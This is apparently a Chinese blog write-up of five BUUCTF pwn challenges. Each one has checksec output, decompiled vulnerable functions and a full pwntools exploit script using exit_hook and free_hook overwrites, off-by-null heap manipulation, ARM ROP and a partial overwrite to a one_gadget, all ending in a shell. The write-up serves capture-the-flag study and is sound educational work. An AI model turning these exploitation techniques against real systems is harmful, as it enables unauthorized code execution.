BUUCTF pwn wp 141 - 145

ciscn_2019_n_7

falca@Ubuntu-2000:~/Desktop/ciscn_2019_n_7$ file ciscn_2019_n_7; checksec ciscn_2019_n_7
ciscn_2019_n_7: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=473d23e469163006913d143e50d6f401e66fb775, stripped
[*] '/home/falca/Desktop/ciscn_2019_n_7/ciscn_2019_n_7'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

666会白给puts地址, 直接就有libc基址

__int64 print_puts()
{
  return _printf_chk(1LL, &unk_10D4, &puts);
}

edit逻辑漏洞, 可以修改content指针

int edit()
{
  if ( !unk_202014 )
    return puts("Dont't exists.");
  puts("New Author name:");
  read(0, qword_202018 + 1, 0x10uLL);
  puts("New contents:");
  read(0, (void *)qword_202018[2], *qword_202018);
  return puts("Over.");
}

修改content指针, one gadget 打 exit hook

from pwn import *

url, port = "node4.buuoj.cn", 28106
filename = "./ciscn_2019_n_7"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr))) 

def B():
    gdb.attach(io)
    pause()

def leak():
	io.sendlineafter('Your choice-> ', '666')
	io.recvuntil('0x')
	puts_addr = int(io.recvuntil('\n'), 16)
	lf('puts address', puts_addr)
	libc_base = puts_addr - libc.sym['puts']
	lf('libc base address', libc_base)
	return libc_base

def add(size, name):
    io.sendlineafter('choice-> ', '1')
    io.sendlineafter('Length: ', str(size))
    io.sendafter('name:\n', name)
     
def edit(name, content):
    io.sendlineafter('choice-> \n', '2')
    io.sendafter('name:\n', name)
    io.sendafter('contents:\n', content)

def exit():
	io.sendlineafter('-> ','a')

def pwn():
	libc.address = leak()
	exit_hook = libc.address + 0x5f0040 + 3848
	onegadget = libc.address + 0xf1147
	add(0x20, cyclic(8) + p64(exit_hook))
	edit('falcaaa', p64(onegadget))
	exit()


if __name__ == "__main__":
    pwn()
    io.interactive()

qctf_2018_stack2

falca@Ubuntu-2000:~/Desktop/qctf_2018_stack2$ file QCTF_2018_stack2;checksec QCTF_2018_stack2
QCTF_2018_stack2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d39da4953c662091eab7f33f7dc818f1d280cb12, not stripped
[*] '/home/falca/Desktop/qctf_2018_stack2/QCTF_2018_stack2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

有个数组越界写
在这里插入图片描述
还有个后门函数, 所以就是简单的越界劫持返回地址, 结果调试发现返回地址与IDA反汇编有差别, 因为汇编有魔改

在这里插入图片描述

调试确定
在这里插入图片描述

在这里插入图片描述

pwndbg> p 0xffffd05c - 0xffffcfd8
$1 = 132

比对比一下反编译结果
在这里插入图片描述

实际不是0x70 + 4, 而是0x74 + 0x10 = 132

from pwn import *

url, port = "node4.buuoj.cn", 28631
filename = "./QCTF_2018_stack2"
elf = ELF(filename)
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    io.sendlineafter('have:\n','0')               
    
    # hackhere_addr = 0x0804859B     
    offset = 132                            
    io.sendlineafter('5. exit\n','3')             
    io.sendlineafter('change:\n',str(offset))   
    io.sendlineafter('number:\n',str(0x9B))       
                                                
    io.sendlineafter('5. exit\n','3')             
    io.sendlineafter('change:\n',str(offset + 1))   
    io.sendlineafter('number:\n',str(0x85))       
                                                
    io.sendlineafter('5. exit\n','3')             
    io.sendlineafter('change:\n',str(offset + 2))   
    io.sendlineafter('number:\n',str(0x04))       
                                                
    io.sendlineafter('5. exit\n','3')             
    io.sendlineafter('change:\n',str(offset + 3))   
    io.sendlineafter('number:\n',str(0x08))       
                                                
    io.sendlineafter('5. exit\n','5')          


if __name__ == "__main__":
    pwn()
    io.interactive()

ciscn_2019_s_1

falca@Ubuntu-2000:~/Desktop/ciscn_2019_s_1$ file ciscn_s_1; checksec ciscn_s_1
ciscn_s_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=28cf192fada7833eebe264746f7d1ed8db6866a7, not stripped
[*] '/home/falca/Desktop/ciscn_2019_s_1/ciscn_s_1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

edit函数会多写一个null, 存在off-by-null漏洞

unsigned __int64 ed()
{
  int v1; // [rsp+Ch] [rbp-14h]
  _BYTE *v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( key1 == 2 )
    exit(0);
  puts("index:");
  v1 = read_int();
  if ( v1 < 0 || v1 > 32 || !heap[v1] )
    exit(0);
  puts("content:");
  v2 = (_BYTE *)heap[v1];
  v2[read(0, v2, len[v1])] = 0;
  ++key1;
  return __readfsqword(0x28u) ^ v3;
}

show函数同edit一样会受到key变量的限制而不能使用

unsigned __int64 sh()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( key2 )
  {
    puts("index:");
    v1 = read_int();
    if ( v1 < 0 || v1 > 32 || !heap[v1] )
      exit(0);
    puts((const char *)heap[v1]);
  }
  else
  {
    puts("only admin can use");
  }
  return __readfsqword(0x28u) ^ v2;
}

用off-by-null布局堆, 覆写key1, key2, 利用show函数泄露libc, 再故技重施劫持free_hook到system

from pwn import *

url, port = "node4.buuoj.cn", 29563
filename = "./ciscn_s_1"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))

def B():
    gdb.attach(io)
    pause()

def add(idx, size, content):
    io.sendlineafter("4.show\n", "1")
    io.sendlineafter("index:\n", str(idx))
    io.sendafter("size:\n", str(size))
    io.recvuntil("gift: ")
    heap_addr = io.recvuntil("\n")
    io.sendafter("content:\n", content)
    return heap_addr

def delete(index):
    io.sendlineafter("4.show\n", "2")
    io.sendlineafter("index:", str(index))

def edit(index,content):
    io.sendlineafter("4.show\n", "3")
    io.sendlineafter("index:", str(index))
    io.sendafter("content:\n", content)

def show(index):
    io.sendlineafter("4.show\n", "4")
    io.sendlineafter("index:", str(index))

def pwn():
    key2_addr = 0x6022B8
    
    for i in range(7):
        add(i, 0xf8, 'falca')

    add(7, 0xf8, '0')
    add(8, 0xf8, '1')
    add(9, 0xa8, '2')
    add(10, 0xf8, '3')
    add(11, 0xf8, '/bin/sh\x00')

    for i in range(8):
        delete(i)

    payload = cyclic(0xa0) + p64(0x2b0)	# sum size of chunks ahead
    edit(9, payload)
    delete(10)
    for i in range(7):
        add(i, 0xf8, 'falca')

    add(12, 0xf8, 'a')
    add(13, 0xf8, '5')
    delete(13)
    delete(8)
    add(14, 0xf8, p64(key2_addr))
    add(15, 0xf8, '6')
    add(16, 0xf8, p32(1) + p32(0x200))

    # off-by-null hijack hook
    show(12)
    io.recvuntil("\n")
    malloc_hook = u64(io.recvuntil("\n", drop=True).ljust(8, b'\x00')) - 0x431
    libc.address = malloc_hook - libc.sym["__malloc_hook"]
    free_hook = libc.sym["__free_hook"]
    system_addr = libc.sym["system"]
    lf("libc base address", libc.address)

    add(17, 0xa8, '1')
    delete(17)
    delete(9)
    add(18, 0xa8, p64(free_hook))
    add(19, 0xa8, 'pwning')
    add(20, 0xa8, p64(system_addr))
    delete(11)  


if __name__ == "__main__":
    pwn()
    io.interactive()

jarvisoj_typo

falca@Ubuntu-2000:~/Desktop/jarvisoj_typo$ file typo; checksec typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
[*] '/home/falca/Desktop/jarvisoj_typo/typo'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

32bits arm 静态链接, 只开了NX和Partial RELRO
arm pwn 入门题目, 需要qemu-arm启动和gdb-multiarch进行调试, 环境相关和基础入门直接看hollk师傅的blog好了, 他写的是真的详细 (太牛了qaq

文件比较长而且去掉了符号表, 用字符串交叉引用快速定位关键函数

在这里插入图片描述
sub_10BAB调用了这个字符串

void __fastcall sub_10BA8(int a1, int a2, int a3, int a4)
{
  int v5; // r0
  int v6; // r1
  int v7; // r0
  int v8; // r3
  int v9; // r4
  int v10; // r2
  int v11; // r0
  int v12; // r1
  int v13; // r2
  int v14; // r0
  int v15; // r3
  int v16; // [sp+A4h] [bp-ACh] BYREF
  int v17[42]; // [sp+A8h] [bp-A8h] BYREF

  v17[32] = 0;
  v16 = 1;
  sub_20AF0(v17, 0, 128, a4);
  if ( dword_A2450 )
  {
    sub_23E44(&dword_A2450, 1, &dword_A2450);
    if ( dword_A2454++ == 0 )
    {
      if ( sub_315C8(2, &v16, &unk_A24E4) < 0 )
      {
        --dword_A2454;
      }
      else
      {
        v5 = sub_315C8(3, &v16, &unk_A2458);
        if ( v5 < 0 )
        {
          v7 = sub_A6D0(v5, v6, dword_A2454);
          v9 = *(_DWORD *)(v7 + *(_DWORD *)(v8 + 69228));
          dword_A2454 = v10 - 1;
          v11 = sub_315C8(2, &unk_A24E4, 0);
          v14 = sub_A6D0(v11, v12, v13);
          *(_DWORD *)(v14 + *(_DWORD *)(v15 + 69496)) = v9;
        }
      }
    }
  }
  JUMPOUT(0xFFFF0FC0);
}

反编译的结果看不懂, 直接读汇编, 也看不懂…
搜索发现可以Rizzo恢复部分符号表, 辅助逆向 https://xeldax.top/article/IDA_BINARY_SYMBOL_DIFF

结果IDA7.6加载不出来这个rizzo …
那直接猜就完事 (本来想试试正逆结合来逆向, 发现写出来的程序逻辑过于简单, 以至于对逆向这个程序没有参考价值
因为在程序一开始可输入Enter键的位置处有执行命令行功能(试出来的), 所以猜测程序大概率有system(“/bin/sh”), 所以调用这个/bin/sh字符串的函数应该就等同system函数的效果, 看一下sub_10BA8的交叉引用, 得知sub_110B4函数会调用类似system的sub_10BA8函数, 所以可以劫持程序到这里执行

void __fastcall sub_110B4(int a1, int a2, int a3, int a4)
{
  if ( a1 )
    sub_10BA8(a1, a2, a3, a4);
  else
    sub_10BA8((int)"exit 0", a2, a3, a4);
}

调试确定溢出offset
在这里插入图片描述
用arm rop劫持返回地址到后门函数

from pwn import *

url, port = "node4.buuoj.cn", 27173
filename = "./typo"
elf = ELF(filename)

local = 0
if local:
    context.log_level = "debug"
    io = process(['qemu-arm', filename])
else:
    io = remote(url, port)

def pwn():
    pop_r0_r4_pc = 0x00020904
    binsh_addr = 0x0006C384
    system_addr = 0x000110B4
    payload = cyclic(112) + p32(pop_r0_r4_pc) + p32(binsh_addr) + p32(0) + p32(system_addr)
    io.sendlineafter('quit\n', '\n')
    io.recvuntil('------Begin------\n')
    io.sendlineafter('\n', payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

这道题的一些小启发: 学术界在二进制领域关于恢复符号表的工作不知道发展得怎么样, 感觉算是一个不错的研究方向, 之后去调研调研

hfctf_2020_marksman

falca@Ubuntu-2000:~/Desktop/hfctf_2020_marksman$ file hfctf_2020_marksman;checksec hfctf_2020_marksman
hfctf_2020_marksman: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5d306e5265f05e3538a27d9494544643ed382cbd, stripped
[*] '/home/falca/Desktop/hfctf_2020_marksman/hfctf_2020_marksman'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

打印puts函数地址泄露libc, 还可以修改指定内存低三字节

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int i; // [rsp+8h] [rbp-28h]
  int j; // [rsp+Ch] [rbp-24h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  char v7[3]; // [rsp+25h] [rbp-Bh] BYREF
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_9BA(a1, a2, a3);
  sub_A55();
  puts("Free shooting games! Three bullets available!");
  printf("I placed the target near: %p\n", &puts);
  puts("shoot!shoot!");
  v6 = sub_B78();
  for ( i = 0; i <= 2; ++i )
  {
    puts("biang!");
    read(0, &v7[i], 1uLL);
    getchar();
  }
  if ( (unsigned int)sub_BC2(v7) )
  {
    for ( j = 0; j <= 2; ++j )
      *(_BYTE *)(j + v6) = v7[j];
  }
  if ( !dlopen(0LL, 1) )
    exit(1);
  puts("bye~");
  return 0LL;
}

这题教会我one_gadget的正确打开方法, 那就是去读文档
因为只能写3个字节, 看起来不能劫持到onegadget, 但是未必如此, 用--level参数搜索更多的onegadget可能会带来更多可能性

在这里插入图片描述
在这里插入图片描述
去libc中找可以只覆盖3字节就能得到开启ASLR机制时也具有相同libc地址的函数, 这里涉及到dlopen调用链, 程序执行时会执行该调用链, 调试会发现最后会溯及_dl_catch_error, 劫持这里可以只覆盖3字节同时绕过ASLR触发onegadget

from pwn import *

url, port = "node4.buuoj.cn", 29168
filename = "./hfctf_2020_marksman"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))

def B():
    gdb.attach(io)
    pause()

def pwn():
    io.recvuntil("I placed the target near: ")
    puts_addr = int(io.recvline(), 16)
    lf("puts address", puts_addr)
    libc.address = puts_addr - libc.sym['puts']
    lf("libc base address", libc.address)

    one_gadget = libc.address + 0xe569f
    target_addr = libc.address + 0x5f4038 # _dl_catch_error_offset 

    io.sendlineafter("shoot!shoot!\n", str(target_addr))
    input_gadget = one_gadget

    for _ in range(3):
        io.sendlineafter("biang!\n", chr(input_gadget & 0xff))
        input_gadget >>= 8


if __name__ == "__main__":
    pwn()
    io.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值